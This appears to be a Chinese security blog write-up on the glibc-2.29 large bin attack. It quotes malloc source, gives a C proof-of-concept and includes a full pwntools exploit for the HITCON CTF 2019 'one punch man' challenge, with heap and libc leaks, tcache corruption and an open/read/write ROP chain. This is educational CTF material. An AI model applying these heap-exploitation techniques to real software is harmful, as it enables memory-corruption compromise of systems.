glibc-2.29 large bin attack 原理

glibc-2.29 large bin attack 原理

原创： 星盟安全团队 星盟安全

该方法并非笔者发现，而是阅读 balsn 的 writeup 时分析而得到的，这里介绍一下这种攻击方法。

unsorted bin attack
在介绍新的攻击技术之前，先来缅怀一下 unsorted bin attack ， 由于 glibc-2.29 新上的保护措施，使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack的原理是利用 unsortedbin 在解链时，对 fd 指针的操作，直接的作用就是可以任意地址写入一个 main_arena 地址值，非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了，但是 large bin attack 或许可以成为它的代替品。

large bin attack
glibc-2.29 的 large bin attack 和先前的并不完全一样，但是原理类似。
其主要发生在 large bin 的 nextsize 成环时，没有对其进行检查，所以只要存在 UAF 漏洞，就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码（来自 glibc-2.29/malloc/malloc.c:3841 ）：

victim_index = largebin_index (size);
        bck =bin_at (av, victim_index);
        fwd =bck->fd;
 
        /* maintainlarge bins in sorted order */
        if (fwd !=bck)
          {
            /* Orwith inuse bit to speed comparisons */
            size |=PREV_INUSE;
            /* if smaller than smallest, bypassloop below */
            assert(chunk_main_arena (bck->bk));
            if ((unsignedlong) (size)
    < (unsigned long)chunksize_nomask (bck->bk))
              {
                fwd= bck;
                bck = bck->bk;
 
               victim->fd_nextsize = fwd->fd;
               victim->bk_nextsize = fwd->fd->bk_nextsize; // one
               fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =victim;
              }
            else
              {
               assert (chunk_main_arena (fwd));
                while((unsigned long) size < chunksize_nomask (fwd))
                  {
                   fwd = fwd->fd_nextsize;
  assert(chunk_main_arena (fwd));
                  }
 
                // but size must be different
                if((unsigned long) size
  == (unsigned long)chunksize_nomask (fwd))
                  /*Always insert in the second position.  */
                 fwd = fwd->fd;
                else
                  {
                   victim->fd_nextsize = fwd;
                   victim->bk_nextsize = fwd->bk_nextsize;
                   fwd->bk_nextsize = victim;
                   victim->bk_nextsize->fd_nextsize = victim; // two
                  }
                bck = fwd->bk;
              }
          }
        else
         victim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victimindex 为单位进行 nextsize 之间的成环操作，每个 victimindex 的长度是 0x40，上面的代码是 unsorted bin 进行归位 操作时，将 本属于该环的 victim 插入到该环中。但是这里却没有unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表，插入操作并不会对整个环进行检查，这里我们只需要劫持 其bk_nextsize 指针，那么在插入的时候，程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作，这样就会使得该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two，就是在这里完成了写操作，具体执行哪段代码还要取决与两个chunk 的size 比较。

这里提醒一点，两个chunk 的size不能相同，否则会执行下面程序流而导致不能实现我们的目的。

if ((unsigned long) size
  == (unsigned long)chunksize_nomask (fwd))
  /* Always insertin the second position.  */
  fwd = fwd->fd;

其次是 large bin 的 fdnextsize 需要设置为0，否则程序流会执行到下面的代码进行unlink 操作，那么就无法通过 unlink 对 large bin 的 bknextsize 和fd_nextsize 检查。
来自 glibc-2.29/malloc/malloc.c:4049

size = chunksize(victim);
 
  /*  We know the first chunk in this bin is bigenough to use. */
  assert ((unsignedlong) (size) >= (unsigned long) (nb));
 
  remainder_size =size - nb;
 
  /* unlink */
  unlink_chunk (av,victim);

样例代码

#include <stdio.h>
#include <stdlib.h>
 
size_t buf[0x10];
 
int main()
{
    size_t *ptr,*ptr2, *ptr3;
    setbuf(stdout, NULL);
 
    ptr = malloc(0x438);
    malloc(0x18);
    ptr2 = malloc(0x448);
    malloc(0x18);
    free(ptr);
    // put ptr intolarge bin
    malloc(0x600);
    free(ptr2);
    ptr[2] = 0;
    ptr[3] = (size_t)&buf[0];
 
    printf("buf[4]:0x%lx\n", buf[4]);
    ptr3 = malloc(0x68);
    printf("buf[4]:0x%lx\n", buf[4]);
 
    return 0;
}

buf[4]就相当于 fakechunk->fdnextsize 指针，指向该节点的上一个节点。

执行结果如下所示：

buf[4]: 0x0
buf[4]: 0x560075a246b0

例题 - HITCON CTF 2019 PWN - one punch man
文件链接：https://github.com/Ex-Origin/ctf-writeups/tree/master/hitconctf2019/pwn/onepunchman。
该程序主要的漏洞就是在delete时没有清理指针，导致UAF。

void delete()
{
  unsigned int v0; //[rsp+Ch] [rbp-4h]
 
  write_str("idx:");
  v0 = get_int();
  if ( v0 > 2 )
    error((__int64)"invalid");
  free((void*)heros[v0].calloc_ptr);
}

程序预置了后门函数，但是在tcache上有限制，必须要我们劫持tcache_perthread_struct才行，这里有两种思路，我自己的做法是劫持tcache_perthread_struct->entries，这里由于和本文章关系不大，这里我简要说下核心思路：利用tcache_perthread_struct->counts 伪造 size，然后利用 unlink 使得chunk overlap，然后控制其tcache_perthread_struct->entries。

第二种做法就是 balsn 战队的做法，很优秀的方法，核心思路就是利用large bin attack修改 tcache_perthread_struct->counts 来使用预置后门，然后用add 当中的缓冲区进行 ROP。
下面是 balsn 的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763
 
r = process('./one_punch')
 
binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc-2.29.so")
  log.success("libcload success")
  system_off =libc.symbols.system
  log.success("system_off= "+hex(system_off))
except:
  log.failure("libcnot found !")
 
def name(index, name):
  r.recvuntil(">")
  r.sendline("1")
  r.recvuntil(":")
 r.sendline(str(index))
  r.recvuntil(":")
  r.send(name)
  pass
 
def rename(index,name):
  r.recvuntil(">")
  r.sendline("2")
  r.recvuntil(":")
 r.sendline(str(index))
  r.recvuntil(":")
  r.send(name)
 
  pass
 
def d(index):
  r.recvuntil(">")
  r.sendline("4")
  r.recvuntil(":")
 r.sendline(str(index))
  pass
 
def show(index):
  r.recvuntil(">")
  r.sendline("3")
  r.recvuntil(":")
  r.sendline(str(index))
 
def magic(data):
  r.recvuntil(">")
  r.sendline(str(0xc388))
  time.sleep(0.1)
  r.send(data)
 
# if len(sys.argv) == 1:
#   r =process([binary, "0"],env={"LD_LIBRARY_PATH":"."})
 
# else:
#   r = remote(host,port)
 
if __name__ == '__main__':
  name(0,"A"*0x210)
  d(0)
  name(1,"A"*0x210)
  d(1)
  show(1)
  r.recvuntil("name: ")
  heap =u64(r.recv(6).ljust(8,"\x00")) - 0x260
  print("heap= {}".format(hex(heap)))
  for i in xrange(5):
    name(2,"A"*0x210)
    d(2)
  name(0,"A"*0x210)
  name(1,"A"*0x210)
  d(0)
  show(0)
  r.recvuntil("name: ")
  libc =u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
  print("libc= {}".format(hex(libc)))
  d(1)
  rename(2,p64(libc+ 0x1e4c30))
 
  name(0,"D"*0x90)
  d(0)
  for i in xrange(7):
    name(0,"D"*0x80)
    d(0)
  for i in xrange(7):
    name(0,"D"*0x200)
    d(0)
 
  name(0,"D"*0x200)
  name(1,"A"*0x210)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)
 
  d(0)
  d(1)
  name(0,"A"*0x80)
  name(1,"A"*0x80)
  d(0)
  d(1)
  name(0,"A"*0x88+ p64(0x421) + "D"*0x180 )
  name(2,"A"*0x200)
  d(1)
  d(2)
  name(2,"A"*0x200)
  rename(0,"A"*0x88+ p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
  d(0)
  d(2)
 
  // pause()
  name(0,"/home/ctf/flag\x00\x00"+ "A"*0x1f0)
  magic("A")
  add_rsp48 = libc+ 0x000000000008cfd6
  pop_rdi = libc + 0x0000000000026542
  pop_rsi = libc + 0x0000000000026f9e
  pop_rdx = libc + 0x000000000012bda6
  pop_rax = libc + 0x0000000000047cf8
  syscall = libc + 0xcf6c5
  magic(p64(add_rsp48))
 
  name(0,p64(pop_rdi)+ p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall) +
      p64(pop_rdi)+ p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(0) + p64(syscall) +
      p64(pop_rdi)+ p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(1) + p64(syscall)
      )
r.interactive()

在上面的// pause()处暂停，查看其bin情况。

pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104)◂—0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0:   0x4141414141414141 0x0000000000000421
0x56224269a4d0:   0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0:   0x0000000000000000 0x0000562242698010
pwndbg>

这里构造好了 large bin attack，当进行 unsorted bin 归位时，便会修改tcache_perthread_struct->counts。
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